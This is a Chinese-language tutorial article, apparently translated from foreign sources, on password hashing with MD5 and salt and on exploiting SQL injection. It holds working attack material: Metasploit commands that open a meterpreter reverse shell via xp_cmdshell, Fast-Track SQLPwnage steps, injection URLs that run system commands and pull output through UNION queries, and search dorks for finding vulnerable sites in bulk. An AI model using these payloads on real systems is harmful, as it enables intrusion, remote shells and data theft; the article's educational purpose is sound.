网站地图    收藏   

主页 > 后端 > 网站安全 >

浅谈SQLI的危害和利用 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 继续SQLI话题之前,先了解一下网站应用程序的结构。很多网站都会用到数据库,数据库中存储用户名,密码以及一些用户的敏感信息.数据库中存储的信息一直是黑客比较感兴趣的东西,...

继续SQLI话题之前,先了解一下网站应用程序的结构。很多网站都会用到数据库,数据库中存储用户名,密码以及一些用户的敏感信息.数据库中存储的信息一直是黑客比较感兴趣的东西,黑客想方设法通过入侵网站来获取这些信息.
 
某些行业标准已经规定数据库中存储的敏感信息需要用到md5+salt的方式进行加密处理.这种方法对于保护用户的信息安全是非常重要的。当然MD5常见的误解是经过MD5加密的数据肯定是安全的,实际上一些简单的MD5字符串很容易通过比较,也成为碰撞来获取得到明文。因此网站敏感信息采用MD5+SALT的方式进行加密是有必要的。
 
一段简单的生成MD5的示例代码:
 
<?php
 
$string = HelloWorld';
 
$hash = md5($string);
 
echo $hash;
 
?>
 
一段简单的生成MD5+SALT的示例代码:
 
<?php
 
$string = 'HelloWorld';
 
$salt = 's+(_a*';
 
$hash = md5($string.$salt);
 
?>
 
程序员在写网站程序的时候应该确保强制用户使用比较复杂和漫长的密码,并且使用MD5+SALT加密处理,这样黑客会很难通过碰撞来获取到明文。
 
如果密码是8个字符长度,并且使用大写小写和数字的组合,即使使用基于GPU的规则引擎,也至少需要17个小时才有可能破解,如何是9个字符的,则需要更长的时间。有人会建议使用彩虹表,然后事实是需要巨大的存储空间来存储预先计算好的hashes.如果密码是经过+Salt处理的,要使用彩虹表进行碰撞,还需要重新生成+SALT的彩虹表,这个过程是比较困难的.
 
现在,我们知道安全的存储到数据库中的敏感信息的重要性,让我们来看看SQL注入.
 
SQL注入是一种技术,经常用来入侵一个网站。通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是一种代码注入技术,它利用一个网站应用程序中的安全漏洞。漏洞的产生主要是因为不正确过滤用户输入的嵌入SQL语句的字符串或对用户的输入不强制其类型的,导致意外地执行。因此从Web表单到数据库的应用程序(如查询),更改数据库的内容或转储数据库中的信息的web应用程序容易产生注入漏洞.SQL注入漏洞可以用来入侵使用任何形式SQL数据库的网站。比较常用的SQL注入工具有sqlmap,havjj,sqlninja等等.
 
SQL注入不仅仅可以用来检索服务器端的数据内容等,也可以用来执行系统命令. MS SQL服务器提供了一个存储过程,允许用户使用存储过程xp_cmdshell执行系统命令。
 
Metasploit工具还提供了一个极好的模块,使用xp_cmdshell注入的payload,并在服务器上创建一个反向的shell,让攻击者访问到服务器系统。此模块的详细信息可以通过以下URL来了解:
 
http://metasploit.com/modules/exploit/windows/mssql/mssql_payload_sqli
www.2cto.com
 
 
msf > use exploit/windows/mssql/mssql_payload_sqli msf exploit(mssql_payload_sqli)
 
> show payloads msf exploit(mssql_payload_sqli)
 
> set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(mssql_payload_sqli)
 
> set LHOST [Local IP] msf exploit(mssql_payload_sqli)
 
> set RHOST [Victim IP] msf exploit(mssql_payload_sqli)
 
> exploit
 
SQLNinja提供了在该xp_cmdshell被禁用的情况下可以重新创建该存储过程的功能.
 
然而,必须满足一些条件,概述如下:
 
 
 
SQLNinja:resurrectxp
 
http://sqlninja.sourceforge.net/sqlninja-howto.html#resurrectxp_
 
 
 
此模式需要同时满足以下条件:
 
 
 
应具有系统管理员权限或者应当知道'sa'密码
 
xp_cmdshell被禁用
 
 
 
Fast-Track是另一个开放源代码项目,基于Python,在很大程度上使用Metasploit的模块。
 
SQL Pwnage是Fast-Track的一个模块,可以用来检测SQLI漏洞,扫描和抓取网址和子网易受SQLI攻击的参数。
 
可以在这里找到更多的关于Fast-Track的SQL Pwnage模块的详细信息:
 
http://www.offensive-security.com/metasploit-unleashed/SQL_Pwnage
 
运行Fast-Track之后可以按照以下步骤:
 
Fast-Track Main Menu:
 
Step 1: 4. Microsoft SQL Tools
 
Step 2: 3. SQLPwnage
 
Step 3: 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
 
Step 4:可以选择任何列出的有脆弱漏洞的URL选择选项1,如果扫描整个子网选择选项2.
 
 
 
这里有另外一个使用xp_cmdshell的例: http://pastebin.com/F2tBvwXp
 
1) executing xp_cmdshell(执行xp_cmdshell)
 
http://www.target.com/vuln.asp?param=1';IF object_id('result') IS NOT NULL DROP TABLE result;
 
CREATE TABLE result (output varchar(200));INSERT INTO result EXEC xp_cmdshell 'dir C:'--
 
2) result retrieval through UNION injection(使用联合注入检索数据)
 
http://www.target.com/vuln.asp?param=-1' UNION ALL SELECT NULL, NULL, output FROM result--
 
我们已经看到SQLI攻击被用于检索数据或执行系统命令来对服务器获得不合法的访问。可以在这里找到一个很好的使用SQLI攻击创建后门的一篇文章。
 
http://resources.infosecinstitute.com/backdoor-sql-injection/
 
SQLI攻击,再加上存储的XSS攻击时,将有一个更具破坏性的影响,因为在现实世界中使用的这种类型的攻击有更多的后果。
 
一些可批量注入的漏洞:
 
inurl:newsDetail.php?id=
 
inurl:gallery.php?id=
 
inurl:article.php?id=
 
inurl:show.php?id=
 
inurl:staff_id=
 
inurl:newsitem.php?num=
 
 
 
详细的列表可以访问以下URL:
 
http://pastebin.com/Xzcj9CF1
 
http://pastebin.com/Cy2yEKk4
 
http://www.best4hack.com/p/sqli-dorks.html
 
 
 
参考文献:
 
http://resources.infosecinstitute.com/dumping-a-database-using-sql-injection/
 
SQLI的脆弱性
 
http://www.exploit-db.com/exploits/20035/
 
Driveby下载+ SQLI
 
http://www.imperva.com/resources/glossary/drive-by-downloads.html
 
阿德马翻译整理自国外网站,请尊重劳动成功,转载请贴上本文链接,谢~
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论